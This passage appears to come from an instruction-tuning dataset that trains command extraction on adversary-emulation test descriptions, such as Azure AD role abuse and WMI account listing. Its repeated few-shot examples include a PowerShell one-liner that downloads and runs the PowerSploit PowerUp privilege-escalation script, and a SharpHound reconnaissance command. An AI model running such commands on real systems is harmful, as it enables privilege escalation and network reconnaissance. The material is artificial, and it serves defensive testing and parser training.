{ ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The adversaries want to add service principal to some Azure AD role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, \nPrivileged Authentication Administrator (this role can reset Global Administrator password!).\nBy default, the role Global Reader is assigned to service principal in this test.\n\nThe account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer you will also see Service Principal as a type.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Creates a snapshot of a persistent disk in GCP using the gcloud CLI.\nEmulates adversary behavior to gain access to volume data or replicate environment state.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test encrypts the file(s) using the openssl utility\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary might use WMI to list all local User Accounts. \nWhen the test completes , there should be local user accounts information displayed on the command line.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this\nwe first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that\nmemory location to a file stored in the $env:TEMP\\atomic_t1059_005_test_output.bin.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. \nOnce the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. \nSee https://github.com/cyberark/SkyArk \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test creates Systemd service and timer then starts and enables the Systemd timer \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for 